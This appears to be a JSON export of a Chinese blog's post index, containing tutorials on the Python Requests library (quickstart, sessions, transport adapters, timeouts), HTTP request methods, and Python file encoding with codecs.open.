使用这些特性，例如:\n1 2 3 4 \u0026gt;\u0026gt;\u0026gt; url = \u0026#39;https://api.github.com/users/kennethreitz/repos?page=1\u0026amp;per_page=10\u0026#39; \u0026gt;\u0026gt;\u0026gt; r = requests.head(url=url) \u0026gt;\u0026gt;\u0026gt; r.headers[\u0026#39;link\u0026#39;] \u0026#39;\u0026lt;https://api.github.com/users/kennethreitz/repos?page=2\u0026amp;per_page=10\u0026gt;; rel=\u0026#34;next\u0026#34;, \u0026lt;https://api.github.com/users/kennethreitz/repos?page=6\u0026amp;per_page=10\u0026gt;; rel=\u0026#34;last\u0026#34;\u0026#39; Requests会自动解析这些响应头链接字段，并使得它们非常易于使用:\n1 2 3 4 5 \u0026gt;\u0026gt;\u0026gt; r.links[\u0026#34;next\u0026#34;] {\u0026#39;url\u0026#39;: \u0026#39;https://api.github.com/users/kennethreitz/repos?page=2\u0026amp;per_page=10\u0026#39;, \u0026#39;rel\u0026#39;: \u0026#39;next\u0026#39;} \u0026gt;\u0026gt;\u0026gt; r.links[\u0026#34;last\u0026#34;] {\u0026#39;url\u0026#39;: \u0026#39;https://api.github.com/users/kennethreitz/repos?page=7\u0026amp;per_page=10\u0026#39;, \u0026#39;rel\u0026#39;: \u0026#39;last\u0026#39;} Transport Adapters As of v1.0.0, Requests has moved to a modular internal design. Part of the reason this was done was to implement Transport Adapters, originally described here. Transport Adapters provide a mechanism to define interaction methods for an HTTP service. In particular, they allow you to apply per-service configuration.\nRequests ships with a single Transport Adapter, the HTTPAdapter. This adapter provides the default Requests interaction with HTTP and HTTPS using the powerful urllib3 library. Whenever a Requests Session is initialized, one of these is attached to the Session object for HTTP, and one for HTTPS.\nRequests enables users to create and use their own Transport Adapters that provide specific functionality. Once created, a Transport Adapter can be mounted to a Session object, along with an indication of which web services it should apply to.\n1 2 \u0026gt;\u0026gt;\u0026gt; s = requests.Session() \u0026gt;\u0026gt;\u0026gt; s.mount(\u0026#39;http://www.github.com\u0026#39;, MyAdapter()) The mount call registers a specific instance of a Transport Adapter to a prefix. Once mounted, any HTTP request made using that session whose URL starts with the given prefix will use the given Transport Adapter.\nMany of the details of implementing a Transport Adapter are beyond the scope of this documentation, but take a look at the next example for a simple SSL use- case. For more than that, you might look at subclassing requests.adapters.BaseAdapter.\nExample: Specific SSL Version The Requests team has made a specific choice to use whatever SSL version is default in the underlying library (urllib3). Normally this is fine, but from time to time, you might find yourself needing to connect to a service-endpoint that uses a version that isn’t compatible with the default.\nYou can use Transport Adapters for this by taking most of the existing implementation of HTTPAdapter, and adding a parameter ssl_version that gets passed-through to urllib3. We’ll make a TA that instructs the library to use SSLv3:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 import ssl from requests.adapters import HTTPAdapter from requests.packages.urllib3.poolmanager import PoolManager class Ssl3HttpAdapter(HTTPAdapter): \u0026#34;\u0026#34;\u0026#34;\u0026#34;Transport adapter\u0026#34; that allows us to use SSLv3.\u0026#34;\u0026#34;\u0026#34; def init_poolmanager(self, connections, maxsize, block=False): self.poolmanager = PoolManager(num_pools=connections, maxsize=maxsize, block=block, ssl_version=ssl.PROTOCOL_SSLv3) Blocking Or Non-Blocking? With the default Transport Adapter in place, Requests does not provide any kind of non-blocking IO. The Response.content property will block until the entire response has been downloaded. If you require more granularity, the streaming features of the library (see 流式请求) allow you to retrieve smaller quantities of the response at a time. However, these calls will still block.\nIf you are concerned about the use of blocking IO, there are lots of projects out there that combine Requests with one of Python’s asynchronicity frameworks. Two excellent examples are grequests and requests-futures.\nTimeouts Most requests to external servers should have a timeout attached, in case the server is not responding in a timely manner. Without a timeout, your code may hang for minutes or more.\nThe connect timeout is the number of seconds Requests will wait for your client to establish a connection to a remote machine (corresponding to the connect()) call on the socket. It’s a good practice to set connect timeouts to slightly larger than a multiple of 3, which is the default TCP packet retransmission window.\nOnce your client has connected to the server and sent the HTTP request, the read timeout is the number of seconds the client will wait for the server to send a response. (Specifically, it’s the number of seconds that the client will wait between bytes sent from the server. In 99.9% of cases, this is the time before the server sends the first byte).\nIf you specify a single value for the timeout, like this:\n1 r = requests.get(\u0026#39;https://github.com\u0026#39;, timeout=5) The timeout value will be applied to both the connect and the read timeouts. Specify a tuple if you would like to set the values separately:\n1 r = requests.get(\u0026#39;https://github.com\u0026#39;, timeout=(3.05, 27)) If the remote server is very slow, you can tell Requests to wait forever for a response, by passing None as a timeout value and then retrieving a cup of coffee.\n1 r = requests.get(\u0026#39;https://github.com\u0026#39;, timeout=None) CA Certificates By default Requests bundles a set of root CAs that it trusts, sourced from the Mozilla trust store. However, these are only updated once for each Requests version. This means that if you pin a Requests version your certificates can become extremely out of date.\nFrom Requests version 2.4.0 onwards, Requests will attempt to use certificates from certifi if it is present on the system. This allows for users to update their trusted certificates without having to change the code that runs on their system.\nFor the sake of security we recommend upgrading certifi frequently!\n说明：前面有些官方文档没翻译到的，我自己翻译了，后一部分，时间太晚了，是在没精力了，以后有时间再翻译，可能我翻译的有些语句不通顺，但是还是能大概表达出意思的，如果你对比了官方文档，觉得你可以翻译得更好，可以私信或留言我哦\n想喷我的人也省省吧，的确，这篇文章和之前的一篇Requests安装使用都是我从官网移植过来的，但是我花时间翻译了一部分，排版也废了番功夫，使用MarkDown写成，需要源md文档也可以找我索要，本文随意传播\n我是Akkuman，同道人可以和我一起交流哦，私信或留言均可,我的博客hacktech.cn | 53xiaoshuo.com\n","permalink":"https://www.hacktech.cn/post/2016/06/advanced-usage-of-python-requests/","summary":"\u003chr\u003e\n\u003ch1 id=\"高级用法\"\u003e高级用法\u003c/h1\u003e\n\u003chr\u003e\n\u003cp\u003e本篇文档涵盖了Requests的一些更加高级的特性。\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"会话对象\"\u003e会话对象\u003c/h2\u003e\n\u003chr\u003e\n\u003cp\u003e会话对象让你能够跨请求保持某些参数。它也会在同一个Session实例发出的所有请求之间保持cookies。\u003c/p\u003e\n\u003cp\u003e会话对象具有主要的Requests API的所有方法。\u003c/p\u003e\n\u003cp\u003e我们来跨请求保持一些cookies:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e7\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003es \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e requests\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eSession()\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003es\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eget(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;http://httpbin.org/cookies/set/sessioncookie/123456789\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003er \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e s\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eget(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;http://httpbin.org/cookies\u0026#34;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eprint(r\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etext)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# \u0026#39;{\u0026#34;cookies\u0026#34;: {\u0026#34;sessioncookie\u0026#34;: \u0026#34;123456789\u0026#34;}}\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e","title":"Python之Requests的高级用法"},{"content":" HTTP协议中共定义了八种方法或者叫“动作”来表明对Request-URI指定的资源的不同操作方式，具体介绍如下：\nOPTIONS： 返回服务器针对特定资源所支持的HTTP请求方法。也可以利用向Web服务器发送\u0026rsquo;*\u0026lsquo;的请求来测试服务器的功能性。\nHEAD： 向服务器索要与GET请求相一致的响应，只不过响应体将不会被返回。这一方法可以在不必传输整个响应内容的情况下，就可以获取包含在响应消息头中的元信息。\nGET： 向特定的资源发出请求。\nPOST： 向指定资源提交数据进行处理请求（例如提交表单或者上传文件）。数据被包含在请求体中。POST请求可能会导致新的资源的创建和/或已有资源的修改。\nPUT： 向指定资源位置上传其最新内容。\nDELETE： 请求服务器删除Request-URI所标识的资源。\nTRACE： 回显服务器收到的请求，主要用于测试或诊断。\nCONNECT： HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。\n虽然HTTP的请求方式有8种，但是我们在实际应用中常用的也就是get和post，其他请求方式也都可以通过这两种方式间接的来实现。\n转载自：http://www.xuebuyuan.com/1586750.html\n","permalink":"https://www.hacktech.cn/post/2016/06/http-request-type-introduction/","summary":"\u003chr\u003e\n\u003cp\u003e\u003cstrong\u003eHTTP协议中共定义了八种方法或者叫“动作”来表明对Request-URI指定的资源的不同操作方式，具体介绍如下：\u003c/strong\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003ch1 id=\"options\"\u003eOPTIONS：\u003c/h1\u003e\n\u003cp\u003e返回服务器针对特定资源所支持的HTTP请求方法。也可以利用向Web服务器发送\u0026rsquo;*\u0026lsquo;的请求来测试服务器的功能性。\u003c/p\u003e\n\u003ch1 id=\"head\"\u003eHEAD：\u003c/h1\u003e\n\u003cp\u003e向服务器索要与GET请求相一致的响应，只不过响应体将不会被返回。这一方法可以在不必传输整个响应内容的情况下，就可以获取包含在响应消息头中的元信息。\u003c/p\u003e\n\u003ch1 id=\"get\"\u003eGET：\u003c/h1\u003e\n\u003cp\u003e向特定的资源发出请求。\u003c/p\u003e","title":"HTTP协议请求类型介绍"},{"content":"最近老被编码困扰，多次折腾之后，感觉python的编解码做得挺好的，只要了解下边的流程，一般都能解决\ninput文件(gbk, utf-8\u0026hellip;) \u0026mdash;-decode\u0026mdash;\u0026ndash;\u0026gt; unicode \u0026mdash;\u0026mdash;-encode\u0026mdash;\u0026mdash;\u0026gt; output文件(gbk, utf-8\u0026hellip;) 很多文本挖掘的package是在unicode上边做事的，比如nltk. 所以开始读入文件后要decode为unicode格式，可以通过下边两步：\n1 2 f=open(\u0026#39;XXXXX\u0026#39;, \u0026#39;r\u0026#39;) content=f.read().decode(\u0026#39;utf-8\u0026#39;) 更好的方法是使用codecs.open读入时直接解码：\n1 2 f=codecs.open(XXX, encoding=\u0026#39;utf-8\u0026#39;) content=f.read() 转自: http://f.dataguru.cn/thread-237116-1-1.html\n","permalink":"https://www.hacktech.cn/post/2016/06/python-open-and-codecs-open/","summary":"\u003cp\u003e最近老被编码困扰，多次折腾之后，感觉python的编解码做得挺好的，只要了解\u003cstrong\u003e下边的流程，一般都能解决\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003einput文件(gbk, utf-8\u0026hellip;)   \u0026mdash;-decode\u0026mdash;\u0026ndash;\u0026gt;   unicode  \u0026mdash;\u0026mdash;-encode\u0026mdash;\u0026mdash;\u0026gt; output文件(gbk, utf-8\u0026hellip;)\u003c/strong\u003e\n很多文本挖掘的package是在unicode上边做事的，比如nltk. 所以开始读入文件后要decode为unicode格式，可以通过下边两步：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ef\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eopen(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;XXXXX\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;r\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003econtent\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003ef\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eread()\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003edecode(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;utf-8\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e更好的方法是使用codecs.open读入时直接解码：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ef\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003ecodecs\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eopen(XXX, encoding\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;utf-8\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003econtent\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003ef\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eread()\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e转自: \u003ca href=\"http://f.dataguru.cn/thread-237116-1-1.html\"\u003ehttp://f.dataguru.cn/thread-237116-1-1.html\u003c/a\u003e\u003c/p\u003e","title":"Python中的open和codecs.open"},{"content":" 安装 使用 pip 安装Requests非常简单\n1 pip install requests 或者使用 easy_install 安装\n1 easy_install requests 获得源码 Requests 一直在Github上被积极的开发着\n你可以克隆公共版本库:\n1 git clone git://github.com/kennethreitz/requests.git 下载 源码:\n1 curl -OL https://github.com/kennethreitz/requests/tarball/master 或者下载 zipball:\n1 curl -OL https://github.com/kennethreitz/requests/zipball/master 一旦你获得了复本，你就可以轻松的将它嵌入到你的python包里或者安装到你的site-packages:\n1 python setup.py install 快速上手 发送请求 使用Requests发送网络请求非常简单。\n一开始要导入Requests模块:\n1 \u0026gt;\u0026gt;\u0026gt; import requests 然后，尝试获取某个网页。本例子中，我们来获取Github的公共时间线\n1 \u0026gt;\u0026gt;\u0026gt; r = requests.get(\u0026#39;https://github.com/timeline.json\u0026#39;) 现在，我们有一个名为 r 的 Response 对象。可以从这个对象中获取所有我们想要的信息。\nRequests简便的API意味着所有HTTP请求类型都是显而易见的。例如，你可以这样发送一个HTTP POST请求:\n1 \u0026gt;\u0026gt;\u0026gt; r = requests.post(\u0026#34;http://httpbin.org/post\u0026#34;) 漂亮，对吧？那么其他HTTP请求类型：PUT， DELETE， HEAD以及OPTIONS又是如何的呢？都是一样的简单:\n1 2 3 4 \u0026gt;\u0026gt;\u0026gt; r = requests.put(\u0026#34;http://httpbin.org/put\u0026#34;) \u0026gt;\u0026gt;\u0026gt; r = requests.delete(\u0026#34;http://httpbin.org/delete\u0026#34;) \u0026gt;\u0026gt;\u0026gt; r = requests.head(\u0026#34;http://httpbin.org/get\u0026#34;) \u0026gt;\u0026gt;\u0026gt; r = requests.options(\u0026#34;http://httpbin.org/get\u0026#34;) 都很不错吧，但这也仅是Requests的冰山一角呢。\n为URL传递参数 你也许经常想为URL的查询字符串(query string)传递某种数据。如果你是手工构建URL，那么数据会以键/值 对的形式置于URL中，跟在一个问号的后面。例如， httpbin.org/get?key=val 。 Requests允许你使用 params 关键字参数，以一个字典来提供这些参数。举例来说，如果你想传递 key1=value1 和 key2=value2 到 httpbin.org/get ，那么你可以使用如下代码:\n1 2 \u0026gt;\u0026gt;\u0026gt; payload = {\u0026#39;key1\u0026#39;: \u0026#39;value1\u0026#39;, \u0026#39;key2\u0026#39;: \u0026#39;value2\u0026#39;} \u0026gt;\u0026gt;\u0026gt; r = requests.get(\u0026#34;http://httpbin.org/get\u0026#34;, params=payload) 通过打印输出该URL，你能看到URL已被正确编码:\n1 2 \u0026gt;\u0026gt;\u0026gt; print(r.url) http://httpbin.org/get?key2=value2\u0026amp;key1=value1 注意字典里值为 None 的键都不会被添加到 URL 的查询字符串里。\n响应内容 我们能读取服务器响应的内容。再次以Github时间线为例:\n1 2 3 4 \u0026gt;\u0026gt;\u0026gt; import requests \u0026gt;\u0026gt;\u0026gt; r = requests.get(\u0026#39;https://github.com/timeline.json\u0026#39;) \u0026gt;\u0026gt;\u0026gt; r.text u\u0026#39;[{\u0026#34;repository\u0026#34;:{\u0026#34;open_issues\u0026#34;:0,\u0026#34;url\u0026#34;:\u0026#34;https://github.com/... Requests会自动解码来自服务器的内容。大多数unicode字符集都能被无缝地解码。\n请求发出后，Requests会基于HTTP头部对响应的编码作出有根据的推测。当你访问 r.text 之时，Requests会使用其推测的文本编码。你可以找出Requests使用了什么编码，并且能够使用 r.encoding 属性来改变它:\n1 2 3 \u0026gt;\u0026gt;\u0026gt; r.encoding \u0026#39;utf-8\u0026#39; \u0026gt;\u0026gt;\u0026gt; r.encoding = \u0026#39;ISO-8859-1\u0026#39; 如果你改变了编码，每当你访问 r.text ，Request都将会使用 r.encoding 的新值。你可能希望在使用特殊逻辑计算出文本的编码的情况下来修改编码。比如 HTTP 和 XML 自身可以指定编码。这样的话，你应该使用 r.content 来找到编码，然后设置 r.encoding 为相应的编码。这样就能使用正确的编码解析 r.text 了。\n在你需要的情况下，Requests也可以使用定制的编码。如果你创建了自己的编码，并使用 codecs 模块进行注册，你就可以轻松地使用这个解码器名称作为 r.encoding 的值， 然后由Requests来为你处理编码。\n二进制响应内容 你也能以字节的方式访问请求响应体，对于非文本请求:\n1 2 \u0026gt;\u0026gt;\u0026gt; r.content b\u0026#39;[{\u0026#34;repository\u0026#34;:{\u0026#34;open_issues\u0026#34;:0,\u0026#34;url\u0026#34;:\u0026#34;https://github.com/... Requests会自动为你解码 gzip 和 deflate 传输编码的响应数据。\n例如，以请求返回的二进制数据创建一张图片，你可以使用如下代码:\n1 2 3 \u0026gt;\u0026gt;\u0026gt; from PIL import Image \u0026gt;\u0026gt;\u0026gt; from StringIO import StringIO \u0026gt;\u0026gt;\u0026gt; i = Image.open(StringIO(r.content)) JSON响应内容 Requests中也有一个内置的JSON解码器，助你处理JSON数据:\n1 2 3 4 \u0026gt;\u0026gt;\u0026gt; import requests \u0026gt;\u0026gt;\u0026gt; r = requests.get(\u0026#39;https://github.com/timeline.json\u0026#39;) \u0026gt;\u0026gt;\u0026gt; r.json() [{u\u0026#39;repository\u0026#39;: {u\u0026#39;open_issues\u0026#39;: 0, u\u0026#39;url\u0026#39;: \u0026#39;https://github.com/... 如果JSON解码失败， r.json 就会抛出一个异常。例如，相应内容是 401 (Unauthorized) ，尝试访问 r.json 将会抛出 ValueError: No JSON object could be decoded 异常。\n原始响应内容 在罕见的情况下你可能想获取来自服务器的原始套接字响应，那么你可以访问 r.raw 。 如果你确实想这么干，那请你确保在初始请求中设置了 stream=True 。具体的你可以这么做:\n1 2 3 4 5 \u0026gt;\u0026gt;\u0026gt; r = requests.get(\u0026#39;https://github.com/timeline.json\u0026#39;, stream=True) \u0026gt;\u0026gt;\u0026gt; r.raw \u0026lt;requests.packages.urllib3.response.HTTPResponse object at 0x101194810\u0026gt; \u0026gt;\u0026gt;\u0026gt; r.raw.read(10) \u0026#39;\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x03\u0026#39; 但一般情况下，你应该以下面的模式将文本流保存到文件:\n1 2 3 with open(filename, \u0026#39;wb\u0026#39;) as fd: for chunk in r.iter_content(chunk_size): fd.write(chunk) 使用 Response.iter_content 将会处理大量你直接使用 Response.raw 不得不处理的。 当流下载时，上面是优先推荐的获取内容方式。\n定制请求头 如果你想为请求添加HTTP头部，只要简单地传递一个 dict 给 headers 参数就可以了。\n例如，在前一个示例中我们没有指定content-type:\n1 2 3 4 5 6 \u0026gt;\u0026gt;\u0026gt; import json \u0026gt;\u0026gt;\u0026gt; url = \u0026#39;https://api.github.com/some/endpoint\u0026#39; \u0026gt;\u0026gt;\u0026gt; payload = {\u0026#39;some\u0026#39;: \u0026#39;data\u0026#39;} \u0026gt;\u0026gt;\u0026gt; headers = {\u0026#39;content-type\u0026#39;: \u0026#39;application/json\u0026#39;} \u0026gt;\u0026gt;\u0026gt; r = requests.post(url, data=json.dumps(payload), headers=headers) 更加复杂的POST请求 通常，你想要发送一些编码为表单形式的数据—非常像一个HTML表单。 要实现这个，只需简单地传递一个字典给 data 参数。你的数据字典 在发出请求时会自动编码为表单形式:\n1 2 3 4 5 6 7 8 9 10 11 \u0026gt;\u0026gt;\u0026gt; payload = {\u0026#39;key1\u0026#39;: \u0026#39;value1\u0026#39;, \u0026#39;key2\u0026#39;: \u0026#39;value2\u0026#39;} \u0026gt;\u0026gt;\u0026gt; r = requests.post(\u0026#34;http://httpbin.org/post\u0026#34;, data=payload) \u0026gt;\u0026gt;\u0026gt; print r.text { ... \u0026#34;form\u0026#34;: { \u0026#34;key2\u0026#34;: \u0026#34;value2\u0026#34;, \u0026#34;key1\u0026#34;: \u0026#34;value1\u0026#34; }, ... } 很多时候你想要发送的数据并非编码为表单形式的。如果你传递一个 string 而不是一个 dict ，那么数据会被直接发布出去。\n例如，Github API v3接受编码为JSON的POST/PATCH数据:\n1 2 3 4 5 \u0026gt;\u0026gt;\u0026gt; import json \u0026gt;\u0026gt;\u0026gt; url = \u0026#39;https://api.github.com/some/endpoint\u0026#39; \u0026gt;\u0026gt;\u0026gt; payload = {\u0026#39;some\u0026#39;: \u0026#39;data\u0026#39;} \u0026gt;\u0026gt;\u0026gt; r = requests.post(url, data=json.dumps(payload)) POST一个多部分编码(Multipart-Encoded)的文件 Requests使得上传多部分编码文件变得很简单:\n1 2 3 4 5 6 7 8 9 10 11 12 \u0026gt;\u0026gt;\u0026gt; url = \u0026#39;http://httpbin.org/post\u0026#39; \u0026gt;\u0026gt;\u0026gt; files = {\u0026#39;file\u0026#39;: open(\u0026#39;report.xls\u0026#39;, \u0026#39;rb\u0026#39;)} \u0026gt;\u0026gt;\u0026gt; r = requests.post(url, files=files) \u0026gt;\u0026gt;\u0026gt; r.text { ... \u0026#34;files\u0026#34;: { \u0026#34;file\u0026#34;: \u0026#34;\u0026lt;censored...binary...data\u0026gt;\u0026#34; }, ... } 你可以显式地设置文件名，文件类型和请求头:\n1 2 3 4 5 6 7 8 9 10 11 12 \u0026gt;\u0026gt;\u0026gt; url = \u0026#39;http://httpbin.org/post\u0026#39; \u0026gt;\u0026gt;\u0026gt; files = {\u0026#39;file\u0026#39;: (\u0026#39;report.xls\u0026#39;, open(\u0026#39;report.xls\u0026#39;, \u0026#39;rb\u0026#39;), \u0026#39;application/vnd.ms-excel\u0026#39;, {\u0026#39;Expires\u0026#39;: \u0026#39;0\u0026#39;})} \u0026gt;\u0026gt;\u0026gt; r = requests.post(url, files=files) \u0026gt;\u0026gt;\u0026gt; r.text { ... \u0026#34;files\u0026#34;: { \u0026#34;file\u0026#34;: \u0026#34;\u0026lt;censored...binary...data\u0026gt;\u0026#34; }, ... } 如果你想，你也可以发送作为文件来接收的字符串:\n1 2 3 4 5 6 7 8 9 10 11 12 \u0026gt;\u0026gt;\u0026gt; url = \u0026#39;http://httpbin.org/post\u0026#39; \u0026gt;\u0026gt;\u0026gt; files = {\u0026#39;file\u0026#39;: (\u0026#39;report.csv\u0026#39;, \u0026#39;some,data,to,send\\nanother,row,to,send\\n\u0026#39;)} \u0026gt;\u0026gt;\u0026gt; r = requests.post(url, files=files) \u0026gt;\u0026gt;\u0026gt; r.text { ... \u0026#34;files\u0026#34;: { \u0026#34;file\u0026#34;: \u0026#34;some,data,to,send\\\\nanother,row,to,send\\\\n\u0026#34; }, ... } 如果你发送一个非常大的文件作为 multipart/form-data 请求，你可能希望流请求(?)。默认下 requests 不支持, 但有个第三方包支持 - requests-toolbelt. 你可以阅读 toolbelt 文档 来了解使用方法。\n在一个请求中发送多文件参考 高级用法 一节.\n响应状态码 我们可以检测响应状态码:\n1 2 3 \u0026gt;\u0026gt;\u0026gt; r = requests.get(\u0026#39;http://httpbin.org/get\u0026#39;) \u0026gt;\u0026gt;\u0026gt; r.status_code 200 为方便引用，Requests还附带了一个内置的状态码查询对象:\n1 2 \u0026gt;\u0026gt;\u0026gt; r.status_code == requests.codes.ok True 如果发送了一个失败请求(非200响应)，我们可以通过 Response.raise_for_status() 来抛出异常:\n1 2 3 4 5 6 7 8 9 \u0026gt;\u0026gt;\u0026gt; bad_r = requests.get(\u0026#39;http://httpbin.org/status/404\u0026#39;) \u0026gt;\u0026gt;\u0026gt; bad_r.status_code 404 \u0026gt;\u0026gt;\u0026gt; bad_r.raise_for_status() Traceback (most recent call last): File \u0026#34;requests/models.py\u0026#34;, line 832, in raise_for_status raise http_error requests.exceptions.HTTPError: 404 Client Error 但是，由于我们的例子中 r 的 status_code 是 200 ，当我们调用 raise_for_status() 时，得到的是:\n1 2 